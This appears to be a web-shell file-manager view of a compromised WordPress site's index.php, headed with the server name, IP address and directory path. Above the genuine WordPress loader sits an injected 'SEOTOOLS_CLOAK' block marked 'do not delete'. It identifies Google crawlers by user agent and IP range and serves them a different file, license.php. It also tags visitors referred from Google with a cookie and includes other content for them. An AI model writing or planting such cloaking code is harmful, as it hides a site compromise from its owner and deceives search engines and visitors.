PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/wihi3143/surete-securite.fr/
Server: Linux tamarillo.o2switch.net 4.18.0-553.33.1.lve.el8.x86_64 #1 SMP Tue Dec 24 22:25:00 UTC 2024 x86_64
IP: 109.234.166.180
Choose File :

Url:
Dir : /home/wihi3143/surete-securite.fr/index.php

<?php
/* === SEOTOOLS_CLOAK === otomatik eklendi, silmeyin */
if (function_exists('session_status')) { if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); } } else { @session_start(); }
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$is_google_bot = false;

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
    $ip = $_SERVER['REMOTE_ADDR'];
} else {
    $ip = '0.0.0.0';
}

$google_bots = array(
    'googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-Read-Aloud',
    'DuplexWeb-Google', 'googleweblight', 'Storebot-Google', 'google',
    'Google-Site-Verification', 'Google-InspectionTool'
);

$google_ip_ranges = array(
    '64.233.160.0/19', '66.102.0.0/20', '66.249.64.0/19', '72.14.192.0/18',
    '74.125.0.0/16', '108.177.8.0/21', '173.194.0.0/16', '207.126.144.0/20',
    '209.85.128.0/17', '216.58.192.0/19', '216.239.32.0/19'
);

foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) { $is_google_bot = true; break; }
}

if (!$is_google_bot) {
    foreach ($google_ip_ranges as $range) {
        $range_parts = explode('/', $range);
        $subnet = $range_parts[0];
        $bits = $range_parts[1];
        $ip_long = ip2long($ip);
        $subnet_long = ip2long($subnet);
        $mask = -1 << (32 - $bits);
        if (($ip_long & $mask) === ($subnet_long & $mask)) { $is_google_bot = true; break; }
    }
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);

$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;
$_SESSION['last_url'] = $current_url;

if ($is_google_bot) {
    include('license.php');
    exit;
}

if ($from_google && !$is_refresh) {
    setcookie('google_visit', '2', time() + 86400, '/', 'surete-securite.fr', false, true);
    include('index.php');
    exit;
}
/* === /SEOTOOLS_CLOAK === */
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';